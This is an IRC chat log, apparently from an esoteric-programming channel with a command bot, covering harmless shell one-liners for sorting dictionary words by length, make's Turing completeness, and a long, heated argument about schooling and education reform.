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11:42:54 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø?
11:43:08 <FireFly> boily: always factually accurate (exceptions may apply)
11:43:28 <boily> FirelloFly. I trust the Wisdom.
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13:13:16 <b_jonas> heh heh. heard on ##workingset: "make is not a programming language in the sense that people write applications or OSes in it." Sounds like make is an esolang then.
13:13:25 <b_jonas> (In the sense that openttd signals are.)
13:39:52 <fizzie> Also sounds like a challenge.
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16:37:40 <rdococ> and yes, it's called a font size menu
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16:37:53 <rdococ> works for both fat and long links
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18:11:40 <\oren\> I wonder if anyone has the phone number 5138008
18:13:16 <\oren\> if you have 5318008 on a calculator and you turn it upside down
18:23:20 <\oren\> hmm, make is turing complete when you inlcude its ability to run other programs, but what if make is executed in an environment with an innefectual version of sh?
18:24:52 <b_jonas> \oren\: gnu make or some other version of make?
18:25:17 <\oren\> gnu make would probably be the most likely to be turing complete...
18:26:37 <b_jonas> I think gnu make is probably turing complete. It has all sorts of crazy built-in functions, including text-manip stuff and an eval function. You can define variables.
18:27:33 <erkin> http://99-bottles-of-beer.net/language-make-2466.html
18:28:34 <b_jonas> You can access variables indirectly by name too.
18:37:41 <moony> \oren\, pls. y u do joke like dat
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19:08:30 <rdococ> How about a program that searches for all possible combinations of numbers that yields letters, and returns the ones that are in dictionaries?
19:11:07 <shachaf> I already wrote such a program to look for a Google Voice number.
19:12:35 <FireFly> rdococ: wouldn't that just be grep(1)?
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20:34:45 <\oren\> https://www.youtube.com/watch?v=uI9hqvync5Y
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20:44:40 <fizzie> Speaking for searching a dictionary.
20:44:42 <fizzie> `` grep -E '^a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?$' share/dict-words | perl -pe 'print length($_), " ";' | sort -nr | head -n 20 | cut -d ' ' -f 2
20:44:43 <HackEgo> loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry
20:45:10 <fizzie> That's the regex for nethack inventory letter words.
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20:47:01 <shachaf> fizzie: What about uppercase?
20:47:59 <fizzie> If you mean uppercase in input, in my 'words' those are boringly names. If you mean uppercasing the first half in the output, that's left as an exercise.
20:48:20 <shachaf> Oh, wait, you did include the alphabet twice.
20:48:29 <fizzie> Or is it the second half. I forget. Anyway.
20:50:01 <HackEgo> awk '{print length"\t"$0}' | sort -n | cut -f2-
20:50:18 <HackEgo> 9746:2016-11-20 <shachäf> mkx bin/sort-by-lengths//awk \'{print length"\\t"$0}\' | sort -n | cut -f2-
20:50:21 <shachaf> fizzie: I thought it was a pretty wise move to put it there.
20:51:55 <shachaf> `` abc='a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?'; grep -E "^$abc$abc$" share/dict-words | sort-by-length | tac | head -n20
20:51:56 <HackEgo> /hackenv/bin/`: line 4: sort-by-length: command not found
20:51:59 <shachaf> `` abc='a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?'; grep -E "^$abc$abc$" share/dict-words | sort-by-lengths | tac | head -n20
20:52:00 <HackEgo> loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry
20:53:13 <shachaf> `` abc=$(echo abcdefghijklmnopqrstuvwxyz | sed 's/./&?/g'); grep -E "^$abc$abc$" share/dict-words | sort-by-lengths | tac | head -n20
20:53:14 <HackEgo> loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry
20:53:31 <shachaf> `` abc=$(echo abcdefghijklmnopqrstuvwxyz | sed 's/./&?/g'); grep -E "^$abc$abc$" share/dict-words | sort-by-lengths | tac | head -n30 | xargs
20:53:32 <HackEgo> loquacity imprudent certainty mortuary invaders impudent hostelry horsefly hindmost foremost envelops eloquent develops degrades deforest definers corsairs citadels chowders chivalry belabors airships adorably adjacent adequacy acquaint acerbity abstains thirsty tailors
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20:55:32 <shachaf> It's amazing that sort by length isn't a thing you can easily do, isn't it?
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21:23:50 <zzo38> I had the idea "HTTP Directory Listing", which has the format of a list of key:value pairs with blank lines between records, and with the MIME type "application/directory-listing" perhaps. That is the main problem with HTTP, so the implementation of this idea would fix that problem.
21:23:58 <lambdabot> shachaf asked 3d 20h 56m 51s ago: Do you like this?
21:23:58 <lambdabot> shachaf said 3d 17h 1m 16s ago: By "this" I meant System F. Hope that helps.
21:26:17 <int-e> `` < /usr/share/dict/words awk '{print length($1)"\t"$1}' | sort -rn | cut -f2- | head -n10 | xargs
21:26:18 <HackEgo> /hackenv/bin/`: line 4: /usr/share/dict/words: No such file or directory
21:26:28 <int-e> `` < share/dict-words awk '{print length($1)"\t"$1}' | sort -rn | cut -f2- | head -n10 | xargs
21:26:29 <HackEgo> xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
21:29:07 <int-e> `` < share/dict-words awk '{print length($1)"\t"$1}' | sort -rn | cut -f2- | head -n10 | tr \\n \
21:29:08 <HackEgo> electroencephalograph's electroencephalographs electroencephalogram's counterrevolutionary's counterrevolutionaries Andrianampoinimerina's electroencephalograph electroencephalograms counterintelligence's uncharacteristically
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21:30:35 <int-e> hah. I didn't look at the code above... funny it should be the same... minus one unintended bug.
21:31:39 <int-e> (namely, using $1 instead of $0)
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21:37:20 <hppavilion[1]> Particle Physics is all about seeing small numbers as huge; math is all about seeing infinitely large numbers as quaint.
21:42:00 <zzo38> QuickBASIC does not allow a RETURN command inside of a SUB/FUNCTION to specify the label to return to.
21:42:22 <zzo38> I think it ought to be allowed (only if returning to another label in the same subroutine though)
21:52:17 <rdococ> I had the idea of implementing GOTOs by allowing the instruction pointer to be read and written like a variable
22:09:54 <\oren\> rdococ: that doesn't tend to work well unless you have labels as constant variables
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22:25:41 <rdococ> that was the approach I was taking
22:27:13 <Jafet> `` (echo 缩短; echo long) | sort-by-length
22:27:13 <HackEgo> /hackenv/bin/`: line 4: sort-by-length: command not found
22:27:19 <Jafet> `` (echo 缩短; echo long) | sort-by-lengths
22:27:41 <HackEgo> LANG=en_NZ.UTF-8 \ LANGUAGE= \ LC_CTYPE="en_NZ.UTF-8" \ LC_NUMERIC="en_NZ.UTF-8" \ LC_TIME="en_NZ.UTF-8" \ LC_COLLATE="en_NZ.UTF-8" \ LC_MONETARY="en_NZ.UTF-8" \ LC_MESSAGES="en_NZ.UTF-8" \ LC_PAPER="en_NZ.UTF-8" \ LC_NAME="en_NZ.UTF-8" \ LC_ADDRESS="en_NZ.UTF-8" \ LC_TELEPHONE="en_NZ.UTF-8" \ LC_MEASUREMENT="en_NZ.UTF-8" \ LC_IDENTIFICATION="en_NZ
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22:29:35 <Jafet> `` (echo 缩短; echo long) | awk 'print length;'
22:29:36 <HackEgo> awk: line 1: syntax error at or near print
22:29:41 <Jafet> `` (echo 缩短; echo long) | awk '{print length;}'
22:29:57 <Jafet> it's amazing that sort by length isn't a thing you can easily do
22:34:07 <\oren\> `` (echo 缩短; echo long) | perl -ne 'print length $_;'
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22:34:33 <\oren\> `` (echo 缩短; echo long) | perl -ne 'chomp;print length $_;'
22:35:17 <\oren\> `` (echo 缩短; echo long) | perl -ne 'use utf8;chomp;print length $_;'
22:36:04 <\oren\> `` (echo 缩短; echo long) | perl -Cne 'chomp;print length $_;'
22:36:05 <HackEgo> Unknown Unicode option letter 'n'.
22:36:12 <\oren\> `` (echo 缩短; echo long) | perl -C -ne 'chomp;print length $_;'
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22:39:00 <\oren\> does awk have a unicode option
22:39:04 <Jafet> rdococ: ARM32 allows accessing the IP as r15; writing to it results in jumps
22:41:39 <\oren\> what if you increment it?
22:42:08 <shachaf> Jafet: To sort by length accurately you need to know what font you're using.
22:42:43 <\oren\> shachaf: or demand the user use a CJKwidth-correct font
22:43:02 <shachaf> Anyway sort-by-length operates on bytes, not characters.
22:43:50 <Jafet> unfortunately, people probably use different fonts
22:43:56 <Jafet> (and different terminals)
22:44:19 <shachaf> Terminals are unique up to isomorphism.
22:45:04 <Jafet> so are initials, apparently
22:45:29 <Jafet> I suppose that's why there is only one xinit and one xterm
22:45:56 <\oren\> cjkwidth-correct fonts at least guarantee that a cjk character is twice the width of a latin character. the standards are iffy on emoji, brahmic and arabic thoough
22:46:01 <int-e> looking at my screen there are many xterms
22:46:13 <shachaf> But they're all xisomorphic.
22:47:31 <shachaf> You should take inspiration from int-e.
22:47:39 <rdococ> int-e, inspiration please
22:47:45 <int-e> Waaaaaaah, I needed that.
22:48:11 <shachaf> I meant the thing where int-e talked about the kinds of things you say in this channel.
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22:57:19 <int-e> Has anyone ever written a book on how to be uncreative, I wonder.
22:57:37 <shachaf> contrapumpkin: yontrapumpkin
22:59:58 <\oren\> int-e: perhaps "Design Patterns"?
23:00:38 <int-e> \oren\: oh that's better than the direction I was heading (something about accounting)
23:02:36 <Jafet> by the gang of forced analogies
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23:03:19 <rdococ> Sorry for being uncreative. it's just that my creativity is sapped every day by something called school.
23:03:34 <rdococ> I try my best to fight it, but I guess I'm just meant to be an Average Joe.
23:04:10 <\oren\> rdococ: what kind of school?
23:04:50 <rdococ> A school purported to be for "special" kids, despite the fact that they're no different.
23:10:47 <Zarutian> how is it sapping your creativity?
23:11:22 * Zarutian is genuinly curious to know what can be done better with education.
23:13:02 <\oren\> I was in the "gifted" program until I realized they were just giving us twice as much work and quit it
23:13:53 <rdococ> Zarutian, I can tell you, what we have right now that passes for "education" in today's world, is horse manure.
23:14:22 <rdococ> I could be curing cancer with doodles, and the teacher would probably still tell me to do my work.
23:14:43 <Zarutian> rdococ: you mean 'show your work' kind of work?
23:15:19 <Zarutian> like in maths. You show every step of the way.
23:15:41 <rdococ> I dislike worksheets that tell me to "show my workings out" even more than I do regular worksheets. What if my mind performs it for me automatically in an efficient manner? Should I draw a picture of a brain?
23:16:15 <Zarutian> or you talking about 'this homework which is impossibly boring and uses stuff that I havent covered yet is due tomorrow', kind of stuff?
23:16:48 <rdococ> Nah. I just plainly refuse and forget about any homework I receive, but I am worried for other students in other schools too.
23:17:54 <\oren\> I think they should increase career oriented focus in high school
23:18:12 <Zarutian> I once got a math teacher two insisted on 'show my workings out', he quit it when he got back a worksheet from me that showed each microstep in excrusiating detail.
23:19:04 <Zarutian> \oren\: perhaps this is a cultural misunderstanding, high school being ages 12-16 years?
23:19:59 <rdococ> But seriously, children are humans - just like adults, and they should be given choices. Many counters I've heard from staff are "What if you get a job and you're told to do something you don't want to do?" My response is always "You get paid for a job, and you signed up for it." Of course, they never respond to that, because they know I'm right.
23:20:02 <Zarutian> elementary school here goes from 5 or 6 to 16 years. There is no high school here.
23:20:12 <\oren\> In Canada: grade 1-6 -> pirmary school, 7+8 : middle school. 9-12 :high school
23:20:16 <Phantom_Hoover> <rdococ> I dislike worksheets that tell me to "show my workings out" even more than I do regular worksheets. What if my mind performs it for me automatically in an efficient manner? Should I draw a picture of a brain?
23:20:42 <Phantom_Hoover> explaining your answers is at least as if not more important than producing correct answers
23:21:25 <rdococ> Also, it has nothing to do with the ratio of good education to horse manure in current "education".
23:21:32 <Phantom_Hoover> because, in general, why would anyone believe the automatic processes of your brain
23:21:39 <Zarutian> rdococ: my response to these kind of 'reasoning' by teachers is: sure I will do it but it better have utility, something that your busywork does not.
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23:22:21 <rdococ> Zarutian: I have previously mentioned a variant of that.
23:22:28 <\oren\> anyway, I think they need to start having streams toward different career categories starting at age 14 at the latest
23:22:59 <rdococ> Scrap that, school is a prison and it needs to be abolished if we want our species to have a future.
23:23:06 <boily> rdochelloc, he\\oren\, Zarutellon.
23:23:27 <Zarutian> also, I knew quite a lot of people that did not leave the school building until the 'homework' was done. Why? Because work is at work and school stuff is no different. If you do not learn this early you will have life-work balance issues.
23:23:40 <boily> school needs to be revised, but kept. it is essential.
23:23:49 <rdococ> Essential to what? Horse manure?
23:24:04 <Zarutian> boily: indeed. But there are pedalogics that defy logics
23:24:15 <\oren\> rdococ: essential to acquiring the skills to earn money
23:24:38 <\oren\> something which even universities aren't focused on these days
23:24:51 <\oren\> that's the core of the problem
23:25:03 <rdococ> \oren\: Depends what you consider under the term "school". Would a learning environment that's not comparable to manure be considered school?
23:25:23 <rdococ> Phantom_Hoover: Are you going to shun me when I reveal that I am presently in school, simply because I am a "student"?
23:25:24 <Zarutian> never understood why univeristies and such are meant to be training camps for employers.
23:25:48 <\oren\> Zarutian: becasue they cost so much
23:25:59 <rdococ> Oh, and it's not just school I have a problem with.
23:26:25 <\oren\> if universities are not teaching how to earn money, then they are a waste of time and a waste of enormous aamounts of money
23:26:26 <Phantom_Hoover> rdococ, well i mean school can be stressful and shitty for various reasons which can lead one to indulge in fantasies of radical educational reform
23:26:37 <Zarutian> oren: the camps? or the univeristies? Srue the price has gone up but then the overhead has too afaisi.
23:26:44 <rdococ> s/can be/inevitably is
23:27:11 <rdococ> I have a problem with some of the most common parenting practices too.
23:27:44 <Zarutian> talking about schools. The whole concept of grading is crappy but especially how USA implement it.
23:27:45 <rdococ> Time-outs for doing "naughty" things can fuck right off, because children act to achieve their urgent needs.
23:27:51 <rdococ> Urgent needs for love and care.
23:28:11 <rdococ> And it's the parent's fault if the child has to act "naughty" to get attention.
23:28:17 <\oren\> Phantom_Hoover: I advocate radical education reform and I became a fully-fledged adult with a well paying job more than a year ago
23:28:20 <Zarutian> I have gone back with papers that just got an grade and nothing else from the teacher.
23:28:34 <rdococ> Well, they may be under a lot of stress; work could be to blame too.
23:28:50 <\oren\> however, the problem is that up until university, virtually nothing I was taught I actually use in my present job
23:28:53 <Phantom_Hoover> \oren\, i have nothing against radical education reform in general but in this case it just reads as venting personal stress
23:29:23 <Phantom_Hoover> i honestly find the idea that education should be whittled down to totally utilitarian job preparation to be completely abhorrent
23:29:36 <Zarutian> oren: oh, you use what the British called the three Rs, every day do you not? (Reading, wRiting and aRithmatic)
23:29:51 <rdococ> What's wrong with venting personal stress?
23:30:09 <\oren\> I wasn't taught those in school. My parent's taught them to me before I entered kindergarten
23:30:11 <rdococ> Zarutian: Reading can often be learnt at home with these things you can get from shops and libraries called "books".
23:30:19 <Phantom_Hoover> a common line in this vein is "school never taught me to file my taxes or write a monthly budget!"
23:30:52 <\oren\> Phantom_Hoover: well, why not? isn't that a useful thing that could be included?
23:31:12 <Zarutian> Phantom_Hoover: nor did the schools even teach how to even get information about that kind of stuff. We Icelanders have an class for that kind of stuff, it is called 'Lífsleikni'.
23:31:46 <Phantom_Hoover> well apparently it doesn't work! students just don't give a shit about being taught very specific procedures that they don't actually need to perform yet
23:32:01 <rdococ> Phantom_Hoover: Students don't give a shit about things they're forced into doing.
23:32:26 <Phantom_Hoover> jesus christ rdococ how much educational psychology research have you done
23:32:42 <Phantom_Hoover> and how much are you drawing your opinions from "they made me do this at school and it pissed me off"
23:33:07 <rdococ> They force students to do a lot of things. Namely lessons many of them are probably not interested in.
23:33:08 <\oren\> rdococ: hence why I advocate having different streams starting at an early age. kids who like math can go into the math stream and not bother with essays for example
23:33:09 <Phantom_Hoover> b/c my current evaluation is that all your strongly-proclaimed views on How Education Should Be Done derive entirely from the latter
23:33:31 <rdococ> Phantom_Hoover: My opinions are drawn from "CHILDREN ARE HUMANS".
23:33:41 <Zarutian> Phantom_Hoover: to answer your question even though it was not aimed at me: I have done something strange, I have looked into the methadologies of some educational psychology research and frankly found it rather wanting.
23:34:38 <Phantom_Hoover> i didn't realise that you had a total and infallible model of human nature worked out
23:34:59 <rdococ> What on earth are you talking about?
23:35:15 <Phantom_Hoover> you apparently know exactly what should and shouldn't be done in education
23:35:46 <Zarutian> oren: what I have found the most irritating about schooling is rote-memorization.
23:35:49 <rdococ> Phantom_Hoover: So you think treating children like actual humans - giving them the right of choice to what they want to learn about - is "exact"?
23:36:07 <Phantom_Hoover> you've never been responsible for a child have you rdococ
23:36:07 <\oren\> there would be at the very least a generalized "Art Stream", "Humanities Stream", "Science Stream", divided starting in grade 5
23:36:18 <rdococ> Phantom_Hoover: You've never given a fuck about a child, have you?
23:36:29 <Phantom_Hoover> you just are/were recently a child and have a chip on your shoulder about your treatment
23:37:01 <Zarutian> Phantom_Hoover: is the converse the true about you? That you were child so long ago that you have forgotten?
23:37:02 <rdococ> Phantom_Hoover: Seriously?
23:37:13 <Phantom_Hoover> rdococ, i've never been responsible for a child, no. which is why i don't go around shooting my mouth off about it on the internet like i know for sure how best to do it
23:37:32 <rdococ> Phantom_Hoover: I have even deeper experience with children. I AM A CHILD.
23:38:13 <\oren\> Phantom_Hoover: what do you think about the idea of dividing students into different career streams very early
23:38:36 <rdococ> Phantom_Hoover: Hm. Okay. Let me get this straight. You think I should have little to no say in how I should be treated, for what legitimate reason exactly?
23:38:48 <Zarutian> oren: it is not the splitting up the curiculum or such that I deem to be the problem but the actual methods used to do teaching.
23:39:04 <rdococ> At the moment, it's hard not to call you an asshole for thinking I shouldn't be given freedoms.
23:39:15 <Phantom_Hoover> i mean you are obviously entitled to a say but not to total dictatorial fiat over the matter
23:39:25 <rdococ> That's not what you sound like.
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23:39:38 <int-e> rdococ: Look, one source of your lack of creativity is probably that you simply disregard certain kinds of information as uninteresting. However, one key source of inspiration is to think about various things, and try to connect them. School may not be perfect but it can still function as a source of inspiration. You probably also do not appreciate (but that time will come) just how much free...
23:39:44 <int-e> ...time you have, even with school taking a huge part out of that. Finally, this is hard to accept, but what you think is good for you and what will actually benefit you in the long term are not the same thing.
23:39:48 <\oren\> I think if students are being taught subjects they are interested in they will learn well even if teachers are quite incompetent
23:40:02 <rdococ> So you think shit like school is going to benefit me?
23:40:22 <HackEgo> sleffy: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
23:40:22 <rdococ> Even if all I've actually learned is "my life is futile" or some shit like that?
23:40:24 <Zarutian> rdococ: you could look at Phantom_Hoover as a demented geraric that should not be given as much freedom as he is old curmagedonly and does not know how to navigate the current world. Just as an thought exercise.
23:40:50 <boily> Phantom_Hoover is old?
23:40:53 <rdococ> Zarutian: You know, that's actually a very good idea. It would show him how I feel.
23:41:03 <rdococ> I'm not sure how I would go about it, though.
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23:41:18 <Phantom_Hoover> fuck me we were the channel babies 6 years ago and already we're geriatrics
23:41:26 <sleffy> whoa, I get a relcome committee?
23:41:31 <Zarutian> Phantom_Hoover: this is how your attitude to rdococ comes across here.
23:42:11 <Phantom_Hoover> my attitude to rdococ is basically "i remember kind of feeling similarly in the past and i now think that i was pretty misguided"
23:42:17 <\oren\> Phantom_Hoover: why should we teach students to analyze shakespeare if they are destined to program, write proofs, or weld steel?
23:42:28 <rdococ> And it comes across as "You are pretty misguided because I think I was."
23:42:43 <rdococ> Well, Phantom_Hoover, you seem to be the misguided one here.
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23:43:12 <Zarutian> Phantom_Hoover: you remember feeling similarly in the past and now you think you were pretty misguided. What caused your change of heart?
23:43:17 <Phantom_Hoover> i'm guessing you're mid teens? everyone in their mid teens thinks that they unquestionably know what's best for them and that the world is unfairly conspiring to keep them down
23:43:38 <Jafet> there is a programming language based on shakespeare
23:43:48 <int-e> . o O ( they're half right anyway... :-P )
23:44:03 <int-e> . o O ( guess which half ;-) )
23:44:05 <Zarutian> Phantom_Hoover: oh, ya think this is purely gelgjuskapur? (closest but not quite acurate translation is teenage agnst)
23:44:07 <Phantom_Hoover> \oren\, well do you think the purpose of school is solely to turn you into an effective worker
23:44:43 <Zarutian> Jafet: yeah, but I do not recall its name. I could be something like "To Be or Not To Be, that is the buzzing question"
23:44:47 <boily> sleffy: we always welcome newcomers to this fine channel! (we being usually myself, trigger happy with the `relcomes...)
23:44:49 <\oren\> to a first order approximation, an effective worker is an effective contributor to society
23:45:06 <boily> sleffy: have you already perused our magnific wiki?
23:45:15 <Phantom_Hoover> Zarutian, well that's too patronising because obviously a lot of people do go through unfair shit in their teens
23:45:28 <Zarutian> Phantom_Hoover: what is an effective member of society? Everyone I have ever asks only give answers that are insubstancial as fog when probed.
23:45:35 <int-e> boily: did you see that shachaf rebelled against the eternal wisdom?
23:45:39 <Phantom_Hoover> but when you're a teenager you tend to be really bad at evaluating that!
23:45:49 <sleffy> boily, that's how I got here
23:46:23 <Phantom_Hoover> Zarutian, idk. as far as shakespeare goes i think the ability to engage with and understand culture is valuable and we would be impoverished without it
23:46:27 <boily> int-ello! what you say!
23:46:28 <Jafet> actually, the language is just named Shakespeare
23:46:28 <sleffy> Specifically, my interest in entirely usable and practical programming languages with real-world applications
23:46:31 <Zarutian> Phantom_Hoover: it is the patronising that seems to be what is comming from you. But then again often the 'it is too complex for you to understand' implict attitude does that.
23:46:39 <rdococ> Phantom_Hoover: Okay. Listen. You think you know what my life is like? Well, you don't. You've grown so old you don't remember how shit school was. But I do remember, because I am living in it. I don't give a fuck if it's "beneficial to me in the long term" (which it absolutely isn't), I'm sick of being treated like shit.
23:47:11 <boily> sleffy: computer science student?
23:47:12 <Phantom_Hoover> look i'm not saying, at all, that whatever you're going through at school is for your own good so shut up and stop complaining
23:47:20 <Zarutian> rdococ: do tell, perhaps we gain some insight why the schooling system is not working, at least not working for you?
23:47:31 <sleffy> boily, I guess I'm technically a student
23:47:48 <sleffy> I'm fresh out of high school, on a "gap year" which turned into getting bored enough to take classes at city college
23:47:55 <\oren\> I was a high school student only 6 years ago
23:47:58 <Phantom_Hoover> what i am saying is that you shouldn't use your personal experiences to inform a total hatred of all formal education
23:48:09 <rdococ> I don't hate all formal education.
23:48:12 <rdococ> I hate all public schooling.
23:48:23 <int-e> boily: http://sprunge.us/NgEP seems to be the relevant bit (for reference, it's now 00:48)
23:48:48 <sleffy> Language design is a hobby, personal goal is a fairly ergonomic efficient and purely functional language which can run without a heap
23:48:56 <Zarutian> Phantom_Hoover: do like I do, look if the experience is shared with lot of other people, then use that to inform the hatred of stultified education.
23:49:00 <rdococ> I hate all public schooling that requires you to "learn" about things you're not interested in.
23:49:05 <boily> int-e: dun dun dun! I can't remember when was the last time I updated it, tho...
23:49:32 <rdococ> Phantom_Hoover: The point is, the majority of what people think when they hear the word "school", is utter bullshit.
23:49:41 <Zarutian> rdococ: and are not even remotely usefull? is that a good qualifier to add?
23:49:49 <int-e> boily: just before christmas it seems
23:50:00 <Phantom_Hoover> rdococ, hahaha do you not see how you're coming across here as an angry kid who thinks he knows better than everyone else
23:50:15 <\oren\> Phantom_Hoover: to you maybe, I quite sympathize
23:50:19 <boily> sleffy: running without a heap is quite difficult. you can try to cram everything on the stack, but then you're still stuck doing some memory shuffling by other means to achieve interesting stuff.
23:50:25 <rdococ> Phantom_Hoover: I don't think I know better than everyone else. But I do know better than everyone else about myself.
23:50:35 <rdococ> And, perhaps, other students too.
23:50:37 <boily> int-e: it's always before christmas.
23:50:46 <rdococ> I don't know what goes on in the brains of other people, and I don't admit to that.
23:50:53 <int-e> boily: it's not always *just* before christmas though.
23:50:56 <Phantom_Hoover> you objectively don't, humans are incredibly shitty at self-evaluating
23:50:58 <sleffy> boily, I'm okay with a sorta "holey" stack. That's a necessary sacrifice to make. For reference I'm looking at Rust's implementation which admits the same thing
23:50:58 <rdococ> But I do know many students seem to complain.
23:51:00 <Zarutian> rdococ: even though said usefullness is only to kindle a bit of likeness to good asethetics. Like learning of the still life paintings of the old masters.
23:51:09 <sleffy> TBF Rust trusts the LLVM to optimize bits of that away
23:51:46 <sleffy> And also, while I want it to be usable without a heap, I recognize that for many things a heap is borderline necessary, so I want to make heap operations available via a library
23:52:07 <rdococ> Phantom_Hoover: Imagine a thought experiment where you were prodded and poked with a hot iron, and then I said the same sort of things to you. How would you feel? Probably pretty upset. But that's just your objective shittiness to self-evaluation, correct?
23:52:08 * int-e ponders doing a quick s/shachaf/anonymous/g
23:52:10 <Phantom_Hoover> putting everything on the stack would mean aligning your function call structure with your memory allocation patterns, right?
23:52:16 <Zarutian> rdococ: what do those students complain mostly about?
23:52:55 <Phantom_Hoover> rdococ, i'm not even going to engage with that because you are not in fact being prodded with a hot iron
23:53:09 <\oren\> basically, I was forced to learn about shakespere plays and other things that I wasn't interested in, do not use in my present job, and had no benefit I can percieve.
23:53:45 <rdococ> Phantom_Hoover: Really, I thought I was. </sarcasm> The point is, humans might be shitty at self-evaluation, but they aren't shitty at realising when they're being treated like shit.
23:53:57 <rdococ> What if I said all this kind of stuff to slaves, back when slavery was accepted?
23:54:37 <rdococ> But now you're grateful because you can now torment the next generation on how they're so bad at self-evaluation?
23:54:39 <Phantom_Hoover> later on in english we did some other texts which i found engaging and had things to say about
23:54:44 <sleffy> Phantom_Hoover, yeah, I guess so, if I understand exactly what you mean
23:54:55 <rdococ> Phantom_Hoover: What does that have to do with shakespeare?
23:54:59 <sleffy> I assume you're referring to returning large structures which don't fit in a register?
23:55:09 <Zarutian> rdococ: news for ya, most people are still bad at self-evaluation even after teenage years.
23:55:17 <rdococ> Phantom_Hoover: Maybe if they had started with the engaging texts, you'd be a writer.
23:55:25 * Zarutian considers himself below average driver for example.
23:55:55 <Phantom_Hoover> and subsequently the ability to critically analyse works i read for entertainment has, i think, really enhanced my appreciation of them
23:55:58 <rdococ> Zarutian: Maybe that's what Phantom_Hoover is going through, then. He is re-evaluating his past at school, and his past-evaluation is shit - which I definitely agree is true.
23:56:13 <rdococ> Phantom_Hoover: Again, maybe if they had started with the engaging texts, you'd be a author.
23:56:14 <Jafet> it's kind of hard to make a minimalist stack language if you want it to be more powerful than push-down
23:56:40 <rdococ> Jafet: You could cheat and turn it into a tape by adding a command to move the top element to the bottom.
23:57:26 <\oren\> rdococ: I have a more advanced theory: If I hadn't wasted so much time on useless stuff I could have entered university 2 years earlier, and by now been working fro 3 years.
23:57:27 <Phantom_Hoover> efficient stack-only allocation basically just means that you malloc/free in FILO order
23:57:34 <Jafet> it's already hard to make a pure functional language that doesn't have pippenger's slowdown
23:57:44 <Jafet> well malloc isn't really minimalist
23:57:51 <rdococ> Phantom_Hoover: Do you think your two separate experiences of "doing Shakespeare" and "critically analysing works" somehow 'prove' that school is 'good' for you? Because they don't.
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23:58:34 <Phantom_Hoover> i think they proved to me that hating being in a class in school does not invalidate the entire value of teching that thing in school
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23:58:52 <rdococ> It kind of does, if you're not interested in such a thing in the first place.
23:59:12 <rdococ> Either way, it definitely comes across to me that you are saying "whatever you're going through at school is for your own good so shut up and stop complaining"
23:59:33 <\oren\> basically, by not allowing children to specialize their education to the things they are good at, we are wasting literally YEARS of productivity for every individual
23:59:38 <Phantom_Hoover> no, not at all. i am saying that please stop posting here saying that school is useless and terrible
23:59:45 <Jafet> also you may mean fifo order, which is less delicious but more stack-like
00:00:06 <Phantom_Hoover> fuck i was going to write fifo but then i was like 'that's the wrong one'
00:00:25 <rdococ> Phantom_Hoover: Others seem to be participating in the topic - you seem to be bored of it. I guess I'll just get bored of the stories of people with cancer, or poverty, too.
00:00:28 <\oren\> our economy as a whole is then hindered, and billions of dollars are wasted
00:01:06 <rdococ> Phantom_Hoover: Then why do you want me to stop?
00:01:15 <int-e> shachaf: in boily's wisdom repo
00:01:31 <rdococ> Phantom_Hoover: Because you are trying to invalidate my cries for help?
00:01:35 <Phantom_Hoover> because i think you're being an arrogant prick who thinks he knows better than everyone else on the planet
00:01:58 <rdococ> We both seem to think that each other is being said arrogant prick.
00:02:13 <rdococ> Except, what we are discussing is the education of people like me.
00:02:16 <hppavilion[1]> like, in the sense that there are 128 instruments it can use and no more??
00:02:22 <int-e> shachaf: which would not have any immediate effect and I rather suspect boily would just revert the change and revoke my commit access :P
00:02:25 <Phantom_Hoover> you have my every sympathy in your cries for help but i suggest finding a way to express them that isn't "i know better than all these idiots who make up society"
00:02:33 <rdococ> We both seem to think that each other is being said arrogant prick.
00:02:35 <rdococ> Except, what we are discussing is the education of people like me.
00:02:54 <Phantom_Hoover> i'm quite worried for your sake that you'll end up reading ayn rand or something
00:02:55 <Jafet> a large orchestra has fewer than 128 different instruments
00:02:58 <hppavilion[1]> rdococ: School isn't useless, but it would be better by allowing some specialization
00:03:08 <\oren\> from the moment you find out, "well timmy is good at writing creatively, but not so good at long division and algebra" little timmy could be placed into a special "writing stream" where only the most vital mathematics is taught.
00:03:33 <hppavilion[1]> \oren\: The issue with that, of course, is that sometimes you figure it out later on, or you just get a bad teacher
00:03:45 <Phantom_Hoover> \oren\, literally have you looked at any research that's been done on the effectiveness of aggressive streaming in education
00:03:45 <\oren\> rdococ: Ayn Rand is a writer who a lot of people hate. Read her books!
00:03:56 <rdococ> \oren\: Why do people hate her?
00:04:09 <int-e> https://xkcd.com/1049/ <-- having read the books I fully agree
00:04:13 <Phantom_Hoover> because she's the definition of arrogant, self-absorbed, antisocial selfishness
00:04:29 <\oren\> rdococ: and has "bad" political views
00:04:43 <Phantom_Hoover> int-e, i would advance https://xkcd.com/610/ as the better xkcd take on rand
00:05:11 <\oren\> Phantom_Hoover: No, I'm a TROLL
00:05:39 <int-e> Phantom_Hoover: hmm, perhaps too ambiguous without the image title
00:05:49 <rdococ> I'm sorry, how is "School is shit, it treats students like shit, it should be abolished" equal to "Be an asshole and troll to everyone! LOL!"
00:05:50 <hppavilion[1]> \oren\: Especially like, what if Timmy could be a great mathematics communicator, educating the dull masses about the wonderful and useful parts of mathematics (See: Douglass Hofstadter; Matt Parker; James Grimes; Mr. whoever wrote How Not To Be Wrong) that- if they teach you them in school *at all*- they wait until AP high school classes to even *mention* despite the simplicity of the basics (like Group Theory)
